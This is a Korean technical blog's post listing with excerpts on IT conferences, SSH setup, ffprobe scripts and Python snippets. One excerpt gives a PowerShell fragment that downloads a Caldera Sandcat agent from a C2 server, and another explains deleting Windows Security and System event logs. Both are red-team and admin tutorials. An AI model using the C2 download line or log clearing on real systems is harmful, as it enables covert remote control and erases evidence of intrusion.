분류 전체보기 70

2025년 8월 IT 컨퍼런스 총정리: 혁신과 미래를 만나다

혁신과 미래를 얘기하는 2025년 8월의 IT 컨퍼런스를 소개합니다. [국내 IT 컨퍼런스 정리]- UbuCon Korea 2025 - OCP Korea Tech Day - PyCon Korea 2025 - FEConf 2025 - 돕는 AI 컨퍼런스 2025 - OpenInfra Days Korea 1. UbuCon Korea 2025- 일정: 8.10- 장소: MS 한국 (서울 종로 1길 50 케이트윈타워 - A동 12-13층)- 웹사이트: https://2025.ubuntu-kr.org UbuCon Korea 20258월 9일 Aug 9th | Microsoft Korea 13F2025.ubuntu-kr.org 2. OCP Korea Tech Day- 일정: 8.12- 장소: 코엑스 3층 컨퍼런스..

카테고리 없음 2025.08.17

ssh 서버 설치와 구동하기

보통 리눅스 배포판을 이용하여 서버를 설치 후에는 초기에 ssh 접속이 안되는 경우가 많습니다.이에 ssh 서버 데몬을 설치하고 이를 통해 서버에 접속하는 절차를 소개합니다. 1. ssh 서버 설치apt 정보를 업데이트한 후 install명령으로 openssh 서버를 설치합니다.$ sudo apt update$ sudo apt install openssh-server 2. ssh 서버 실행systemctl 명령을 통해 서버를 실행하고 필요 시 부팅실행을 설정합니다.$ sudo systemctl start ssh # 서버를 지금 실행$ sudo systemctl enable ssh # 부팅 시 자동으로 실행되도록 설정 2. ssh 서버에 접속ssh 명령을 실행하여 서버에 접속합니다. 첫 접..

Linux 2025.08.16

TypeScript 코드로 비디오 정보 가져오기

1. 개요TypeScript 코드로 비디오 정보를 가져오는 기능은 ffprobe를 사용하여 짧은 코드로 구현할 수 있습니다.TypeScript 코드에서 ffprobe를 실행하여 비디오 정보를 가져오는 코드를 소개합니다.JavaScript 코드에 비해 TypeScript로 코드를 작성하면 잠재적인 오류를 사전에 방지할 수 있고, 결과 타입의 필드를 지정하여 편리하게 사용할 수 있습니다. 1.1. 사용 환경사용한 환경은 다음과 같습니다. - 운영체제 : windows10 Pro 64비트- 비디오 파일의 정보를 가져오는 도구 : ffprobe- 실행코드 작성 언어 : TypeScript- Node.js 버전 : v24.3.0 2. 준비ffprobe 실행파일이 필요합니다. 2.1. ffprobe.exe 다운로드..

Node.js 2025.08.15

JavaScript 코드로 비디오 정보 가져오기

1. 개요JavaScript 코드로 비디오 정보를 가져오는 기능은 ffprobe를 사용하여 짧은 코드로 구현할 수 있습니다.JavaScript 코드에서 ffprobe를 실행하여 비디오 정보를 가져오는 코드를 소개합니다. 1.1. 사용 환경사용한 환경은 다음과 같습니다. - 운영체제 : windows10 Pro 64비트- 비디오 파일의 정보를 가져오는 도구 : ffprobe- 실행코드 작성 언어 : JavaScript- Node.js 버전 : v24.3.0 2. 준비ffprobe 실행파일이 필요합니다. 2.1. ffprobe.exe 다운로드ffmpeg의 빌드된 바이너리의 다운로드를 제공하는 다음의 URL에서 파일을 다운로드합니다.https://github.com/BtbN/FFmpeg-Builds/relea..

Node.js 2025.08.15

bash 스크립트 실행 시 관리자권한 확인하기

작성하는 bash 스크립트가 관리자권한으로 실행되어야할 때 필요한 내용을 소개합니다. 다음의 코드를 이용합니다. #!/bin/bash if [ "$EUID" -ne 0 ];then echo "Please run as root" exit fi # your script code here... effective uid가 0이 아니라면 에러메시지를 출력하고 스크립트를 종료하게 됩니다. 관리자 권한이라면 '# your script code here...' 아래의 스크립트 코드를 실행하게 됩니다.

Linux 2022.12.10

윈도우 이벤트 로그 삭제

윈도우 이벤트로그를 삭제하는 명령어를 소개합니다. C:\Windows\System32\wevtutil.exe 다음은 실행 옵션없이 wevutil를 실행한 화면입니다. 명령 실행방법을 표시합니다. 이제 이벤트 로그를 삭제하는 예시를 소개합니다. 예를 들어 보안로그인 'Security' 로그를 삭제하려면 다음과 같이 실행합니다. 보안로그와 시스템로그를 동시에 삭제하려면 다음과 같이 실행합니다. 실행결과는 eventvwr.exe를 실행하여 다음화면과 같이 확인할 수 있습니다. 이상으로 윈도우 이벤트 로그를 삭제하는 방법에 대해 소개했습니다.

Windows 2022.11.27

파이썬으로 윈도우 커맨드콘솔 키입력감지

파이썬 프로그래밍으로 윈도우 커맨드콘솔에서 키입력을 감지하는 방법을 소개합니다. 다음은 msvcrt 라이브러리의 getch함수를 이용하는 소스코드입니다. import msvcrt if "__main__" == __name__: print("press any key") a = msvcrt.getch() print("you entered ", a) 다음은 실행화면입니다. 엔터를 눌렀을 경우에는 '\r' 문자이고, 숫자 1을 눌렀을 경우에는 '1'을 출력합니다. 이상과 같이 윈도우 커맨드콘솔에서 파이썬 프로그래밍으로 키입력을 감지하는 방법을 소개했습니다.

Windows 2022.11.15

파이썬으로 윈도우 이벤트로그 목록구하기

파이썬 프로그래밍으로 윈도우 이벤트로그 목록을 구하는 방법을 소개합니다. 기본적인 설명은 다음과 같습니다. - 윈도우 이벤트 로그는 %SystemRoot%\System32\winevt\logs에 저장됨 - 윈도우에서 파이썬으로 파일목록을 구하려면 glob라이브러리를 사용할 수 있음 이제 윈도우 이벤트 로그가 저장된 폴더에서 이벤트로그 목록을 구하는 파이썬 코드를 소개합니다. 소스코드는 다음과 같습니다. 출력을 더 편하게 보기 위해 json.dumps에 indent를 주어 작성했습니다. import os import glob import json def get_evtpath_list(): evtpath_list = [] evtlog_path = os.getenv('SystemRoot', "C:\\Windo..

Python 2022.11.15

칼데라 에이전트 실행하기

칼데라 에이전트를 설치하고 실행하는 절차를 소개합니다. 1. agent 설치 스크립트 내용 생성 페이지 좌측의 메뉴에서 agents 링크를 클릭하여 agents 페이지로 이동합니다. 다음 그림에서와 같이 나타나는 다이얼로그에서 Sandcat을 선택합니다. 그리고 다음 절차와 같이 실행합니다. ① platform으로 windows를 선택 ② app.contact.http 항목에 칼데라 서버 주소를 입력 ③ 생성된 스크립트의 내용 중 칼데라 서버 주소를 확인 제가 생성한 내용은 다음과 같습니다. $server="http://192.168.42.138:8888"; $url="$server/file/download"; $wc=New-Object System.Net.WebClient; $wc.Headers.add..

보안 2022.11.09